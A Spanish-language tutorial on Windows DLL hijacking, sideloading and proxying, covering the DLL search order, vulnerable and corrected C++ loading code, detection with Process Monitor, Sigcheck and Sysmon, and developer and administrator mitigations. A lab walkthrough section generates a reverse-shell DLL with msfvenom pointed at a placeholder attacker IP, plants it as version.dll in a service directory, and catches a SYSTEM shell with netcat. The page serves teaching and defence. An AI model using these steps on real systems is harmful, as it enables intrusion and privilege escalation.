Aprende › Cloud, APIs, forense y más

DLL hijacking y DLL sideloading: qué es, cómo se explota y cómo se corrige

· 12 min de lectura

Las aplicaciones de Windows buscan DLL en un orden predecible. Un atacante que coloca una DLL maliciosa en una ubicación de mayor prioridad consigue ejecución de código con los privilegios de la aplicación víctima. Aprende search order hijacking, phantom DLL y DLL proxying.

Cuando una aplicación de Windows necesita funcionalidad de una biblioteca dinámica, llama a LoadLibrary o LoadLibraryEx con el nombre de la DLL. El sistema operativo entonces busca el archivo en una serie de directorios, siguiendo un orden específico. Si un atacante consigue colocar una DLL con el nombre correcto en un directorio que el sistema revisa antes que el legítimo, esa DLL maliciosa se carga en el contexto del proceso víctima. A esta familia de técnicas se la conoce como DLL hijacking.

El impacto va desde persistencia silenciosa hasta escalada de privilegios: si la aplicación víctima corre como SYSTEM o como un usuario privilegiado, el código del atacante hereda esos privilegios. Variantes como DLL sideloading explotan ejecutables firmados por fabricantes legítimos para cargar código malicioso, dificultando la detección basada en firmas. Es la primera lección de la Tanda 10 de /aprende.

Esta lección tiene fines educativos y defensivos. Las técnicas descritas solo deben practicarse en entornos de laboratorio autorizados. Usarlas contra sistemas sin permiso explícito es ilegal y contrario a la ética profesional.

Qué es DLL hijacking#

DLL hijacking es un abuso del mecanismo de búsqueda de bibliotecas dinámicas de Windows. Cuando un proceso llama a LoadLibrary("ejemplo.dll") sin especificar la ruta completa, Windows busca el archivo en varios directorios en un orden determinado. Si el atacante deposita una DLL con ese nombre en un directorio que se revisa antes del legítimo, su código se ejecuta dentro del proceso.

Orden de búsqueda de DLL en Windows y puntos de intercepción
Orden de búsqueda de DLL en Windows y puntos de intercepción

El orden de búsqueda estándar de Windows (con SafeDllSearchMode habilitado, que es el valor por defecto desde Windows XP SP2) es:

  1. Directorio desde el cual se cargó la aplicación (el directorio del ejecutable).
  2. Directorio del sistema (C:\Windows\System32).
  3. Directorio del sistema de 16 bits (C:\Windows\System).
  4. Directorio de Windows (C:\Windows).
  5. Directorio de trabajo actual (CWD).
  6. Directorios listados en la variable de entorno PATH.

Este orden significa que si una aplicación instalada en C:\Program Files\MiApp\ busca helper.dll y esa DLL realmente vive en C:\Windows\System32\, un atacante que pueda escribir en el directorio de la aplicación (C:\Program Files\MiApp\) colocará ahí su propia helper.dll, que se cargará antes que la legítima.

Por qué ocurre: la causa raíz#

La causa raíz es una combinación de diseño del sistema operativo y malas prácticas de desarrollo:

Carga por nombre sin ruta completa. Muchas aplicaciones llaman a LoadLibrary pasando solo el nombre del archivo, sin la ruta absoluta. Esto activa el mecanismo de búsqueda y abre la puerta al hijacking.

Permisos laxos en directorios de instalación. Algunas aplicaciones se instalan en directorios donde el usuario tiene permisos de escritura, como C:\Users\<usuario>\AppData\Local\. Incluso directorios en C:\Program Files\ pueden tener ACLs mal configuradas si el instalador las modificó.

Ausencia de verificación de integridad. La mayoría de aplicaciones no verifican la firma digital ni el hash de las DLL antes de cargarlas. Windows valida firmas de drivers en kernel, pero en user-mode la carga de DLL no firmadas es el comportamiento por defecto.

DLL fantasma (phantom DLL). Algunas aplicaciones intentan cargar DLL que simplemente no existen en el sistema. La llamada a LoadLibrary falla silenciosamente, pero si el atacante crea esa DLL en cualquier ubicación del search path, se carga sin que la aplicación lo note.

Ejemplo de código vulnerable en C++:

// Vulnerable: carga por nombre sin ruta completa
HMODULE hMod = LoadLibrary("config_helper.dll");
if (hMod) {
    // La aplicación no verifica quién es esta DLL
    typedef void (*InitFunc)();
    InitFunc init = (InitFunc)GetProcAddress(hMod, "Initialize");
    if (init) init();
}

Código corregido:

// Seguro: ruta completa y verificación de firma
WCHAR dllPath[MAX_PATH];
GetSystemDirectory(dllPath, MAX_PATH);
wcscat_s(dllPath, MAX_PATH, L"\\config_helper.dll");

// Verificar la firma digital antes de cargar
LONG lStatus;
GUID WintrustActionGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
// ... verificación con WinVerifyTrust ...

HMODULE hMod = LoadLibraryEx(dllPath, NULL,
    LOAD_LIBRARY_SEARCH_SYSTEM32);

Tipos y variantes#

VarianteMecanismoRequisito del atacanteDificultad
Search order hijackingColocar DLL en directorio de mayor prioridadEscritura en el directorio de la appBaja
Phantom DLL hijackingCrear DLL que la app busca pero no existeEscritura en cualquier dir del search pathBaja
DLL sideloadingUsar ejecutable legítimo firmado para cargar DLLCopiar el EXE firmado a directorio controladoMedia
DLL proxyingDLL maliciosa que reenvía funciones a la legítimaEscritura en directorio de la appMedia
DLL search order via PATHColocar DLL en directorio del PATH del usuarioModificar PATH o escribir en sus directoriosMedia
DLL redirection (.local)Crear archivo .local junto al EXEEscritura en directorio de la appBaja

DLL sideloading en detalle#

DLL sideloading merece explicación aparte porque es una de las técnicas más usadas por grupos APT. El atacante toma un ejecutable legítimo firmado por un fabricante conocido (por ejemplo, un componente de un antivirus o de una aplicación de ofimática) y lo copia a un directorio bajo su control junto con una DLL maliciosa que tiene el nombre que ese ejecutable espera cargar.

Cuando el ejecutable firmado se ejecuta, carga la DLL del atacante porque está en su mismo directorio (posición 1 del search order). Desde la perspectiva de un EDR, el proceso que carga la DLL es legítimo y está firmado, lo que dificulta la detección basada en reputación del proceso padre.

DLL proxying#

DLL proxying es una variante sofisticada donde la DLL maliciosa no solo ejecuta su payload sino que también reenvía todas las llamadas de funciones legítimas a la DLL original. Esto evita que la aplicación falle o se comporte de forma anómala, haciendo la detección más difícil.

El atacante renombra la DLL original (por ejemplo, de version.dll a version_orig.dll) y coloca su DLL proxy con el nombre original. La DLL proxy exporta las mismas funciones usando directivas de linker:

EXPORTS
    GetFileVersionInfoA=version_orig.GetFileVersionInfoA
    GetFileVersionInfoW=version_orig.GetFileVersionInfoW
    VerQueryValueA=version_orig.VerQueryValueA
    VerQueryValueW=version_orig.VerQueryValueW

Dónde aparece#

DLL hijacking es explotable en múltiples escenarios reales:

  • Servicios de Windows que cargan DLL desde directorios con permisos laxos. Un servicio que corre como SYSTEM y carga una DLL desde un directorio escribible por usuarios normales permite escalada de privilegios directa.
  • Aplicaciones de escritorio instaladas en %APPDATA% o %LOCALAPPDATA%, donde el usuario tiene control total del directorio.
  • Tareas programadas que ejecutan binarios legítimos susceptibles a sideloading.
  • Instaladores y actualizadores que a menudo se ejecutan con privilegios elevados y cargan DLL sin verificación.
  • Malware y APT usan sideloading extensivamente. Grupos como APT41, Lazarus y Mustang Panda han documentado campañas con sideloading de DLL en componentes firmados de Symantec, McAfee y aplicaciones de Microsoft.

Cómo se detecta#

La detección combina análisis estático del sistema de archivos con monitorización dinámica de carga de módulos.

MétodoQué buscaHerramienta
Auditoría de search orderDLL duplicadas en directorio de la app y System32Process Monitor (Sysinternals)
Phantom DLL scanLlamadas a LoadLibrary que fallan (NAME NOT FOUND)Process Monitor con filtro Result
Firma digitalDLL sin firma en directorio de aplicación firmadaSigcheck (Sysinternals)
Hash comparisonDLL con mismo nombre pero distinto hash que la legítimaPowerShell Get-FileHash
Sysmon Event 7Carga de DLL con ImageLoaded fuera de directorios esperadosSysmon + SIEM
EDR behavioralProceso legítimo cargando DLL desde directorio no habitualCrowdStrike, Defender for Endpoint

Para buscar phantom DLL manualmente con Process Monitor:

Filtros en Process Monitor:
  Operation is "CreateFile"   AND
  Result is "NAME NOT FOUND"  AND
  Path ends with ".dll"

Para verificar firmas de DLL con Sigcheck:

sigcheck -u -e C:\Program Files\MiApp\

El flag -u muestra solo archivos sin firma válida, y -e escanea solo ejecutables y DLL.

Explotación paso a paso en un laboratorio#

Paso 1: identificar DLL susceptibles#

Desde tu máquina de ataque, conecta al laboratorio Windows y usa Process Monitor para identificar DLL que la aplicación busca sin encontrar:

# Conectar al laboratorio
evil-winrm -i IP_DEL_LAB -u usuario -p contraseña

En la sesión de laboratorio, analiza qué DLL busca un servicio vulnerable:

# Listar servicios con rutas no estándar
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notlike "*System32*" -and
    $_.State -eq "Running"
} | Select-Object Name, PathName, StartMode

Paso 2: verificar permisos de escritura#

Comprueba si puedes escribir en el directorio del servicio:

# Comprobar ACLs del directorio
icacls "C:\Program Files\VulnApp\"

Si la salida muestra que el grupo BUILTIN\Users tiene permisos (W) o (M), el directorio es explotable.

Paso 3: crear la DLL maliciosa#

En tu máquina Kali, genera una DLL con msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=IP_ATACANTE LPORT=4444 \
    -f dll -o hijacked.dll

Paso 4: colocar la DLL y obtener shell#

Transfiere la DLL al directorio vulnerable y reinicia el servicio:

# Copiar la DLL al directorio del servicio
Copy-Item hijacked.dll "C:\Program Files\VulnApp\version.dll"

# Reiniciar el servicio (si tienes permisos)
Restart-Service -Name "VulnService"

En tu máquina atacante, espera la conexión:

nc -lvnp 4444

Paso 5: verificar privilegios#

Una vez recibida la shell:

whoami
# NT AUTHORITY\SYSTEM (si el servicio corría como SYSTEM)

Qué puede lograr un atacante#

EscenarioImpactoCondición
Hijacking de servicio SYSTEMEscalada a NT AUTHORITY\SYSTEMDirectorio del servicio escribible
Sideloading con EXE firmadoEjecución de malware eludiendo controles de firmaEXE legítimo copiado a directorio controlado
Phantom DLL en tarea programadaPersistencia que sobrevive reiniciosLoadLibrary fallida en tarea con privilegios
DLL proxying en aplicación corporativaEjecución silenciosa sin romper la app víctimaCapacidad de renombrar DLL original
Hijacking vía PATHEjecución de código al iniciar sesión cualquier usuarioEscritura en directorio del PATH del sistema

Cómo se corrige#

Defensas contra DLL hijacking: rutas absolutas, firma y políticas
Defensas contra DLL hijacking: rutas absolutas, firma y políticas

Para desarrolladores#

  • Usar rutas absolutas. Siempre pasar la ruta completa a LoadLibrary. Usar GetSystemDirectory o GetModuleFileName para construir la ruta.
  • Usar LoadLibraryEx con flags restrictivos. El flag LOAD_LIBRARY_SEARCH_SYSTEM32 restringe la búsqueda exclusivamente a System32.
  • Verificar firmas digitales. Antes de cargar una DLL, verificar su firma con WinVerifyTrust.
  • Compilar con CWD excluido del search path. Llamar a SetDllDirectory("") al inicio del proceso elimina el directorio de trabajo actual del orden de búsqueda.
// Al inicio del programa, excluir CWD del search path
SetDllDirectory(L"");

// Usar flag restrictivo para cargas de sistema
HMODULE hMod = LoadLibraryEx(L"secur32.dll", NULL,
    LOAD_LIBRARY_SEARCH_SYSTEM32);

Para administradores de sistemas#

  • Auditar ACLs de directorios de servicios. Ningún directorio de servicio que corre como SYSTEM debe ser escribible por usuarios no privilegiados.
  • Habilitar CWDIllegalInDllSearch. La clave de registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\CWDIllegalInDllSearch controla el comportamiento del CWD en el search path.
  • Usar Windows Defender Application Control (WDAC). WDAC puede restringir qué DLL se permiten cargar basándose en firma y hash.
  • Monitorizar con Sysmon Event 7. Configurar Sysmon para registrar todas las cargas de DLL y alertar sobre cargas desde ubicaciones inesperadas.
<!-- Regla Sysmon para detectar DLL cargadas desde directorios temporales -->
<RuleGroup groupRelation="or">
  <ImageLoad onmatch="include">
    <ImageLoaded condition="contains">\AppData\Local\Temp\</ImageLoaded>
    <ImageLoaded condition="contains">\Users\Public\</ImageLoaded>
    <ImageLoaded condition="contains">\ProgramData\</ImageLoaded>
  </ImageLoad>
</RuleGroup>

Errores comunes al defenderse#

  • Confiar solo en la firma del proceso padre. El proceso puede estar firmado legítimamente y aun así cargar una DLL maliciosa (sideloading). La firma del proceso no protege contra DLL sin firma cargadas por ese proceso.
  • No auditar phantom DLL. Las DLL que no existen no generan alertas, pero son vectores de ataque silenciosos. Hay que auditar proactivamente las llamadas LoadLibrary fallidas.
  • Ignorar las aplicaciones de terceros. La atención suele centrarse en servicios del sistema, pero las aplicaciones de terceros con privilegios elevados son igual de vulnerables.
  • No restringir el PATH del sistema. Directorios escribibles por usuarios normales en la variable PATH del sistema son un vector directo.
  • Asumir que WDAC o AppLocker bloquean todo. Estas políticas necesitan configuración específica para DLL (la política de DLL está deshabilitada por defecto en AppLocker por razones de rendimiento).

Preguntas frecuentes#

¿DLL hijacking y DLL sideloading son lo mismo?#

No exactamente. DLL hijacking es el término general para cualquier abuso del mecanismo de búsqueda de DLL. DLL sideloading es una variante específica donde se usa un ejecutable legítimo firmado como vehículo para cargar la DLL maliciosa. Todo sideloading es hijacking, pero no todo hijacking es sideloading.

¿SafeDllSearchMode protege completamente?#

No. SafeDllSearchMode (habilitado por defecto) mueve el CWD a una posición más baja en el search order, pero no elimina el problema. El directorio de la aplicación sigue siendo la primera ubicación de búsqueda, y si el atacante puede escribir ahí, el hijacking funciona igual.

¿Los EDR modernos detectan DLL hijacking?#

Los EDR avanzados monitorizan la carga de DLL (Sysmon Event 7 o equivalentes) y pueden alertar sobre DLL sin firma cargadas por procesos firmados. Sin embargo, DLL proxying con todas las funciones legítimas reenviadas puede ser difícil de detectar sin análisis de contenido de la DLL.

¿Cómo encuentro DLL susceptibles a hijacking en mi entorno?#

Usa Process Monitor con filtros para operaciones CreateFile con resultado NAME NOT FOUND sobre archivos .dll. También puedes usar herramientas como DLLSpy o WinPEAS que automatizan la búsqueda de DLL escribibles y phantom DLL.

¿Windows 11 mitiga DLL hijacking?#

Windows 11 mantiene el mismo mecanismo de search order. Las mitigaciones disponibles (SafeDllSearchMode, SetDllDirectory, LOAD_LIBRARY_SEARCH flags, WDAC) existían desde versiones anteriores. La diferencia es que WDAC y las políticas de integridad de código están más integradas, pero requieren configuración activa.

Resumen#

  • DLL hijacking abusa del orden de búsqueda de bibliotecas dinámicas de Windows para ejecutar código malicioso en el contexto de un proceso legítimo.
  • El search order prioriza el directorio de la aplicación sobre System32, lo que permite hijacking si el atacante puede escribir en ese directorio.
  • DLL sideloading usa ejecutables firmados como vehículo, dificultando la detección por reputación del proceso.
  • DLL proxying reenvía funciones legítimas a la DLL original, evitando que la aplicación falle y manteniendo la operación silenciosa.
  • La defensa requiere rutas absolutas en LoadLibrary, verificación de firmas, ACLs correctas en directorios de servicios y monitorización con Sysmon Event 7.
  • WDAC y AppLocker pueden restringir la carga de DLL, pero necesitan configuración explícita para la enforcement de DLL.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría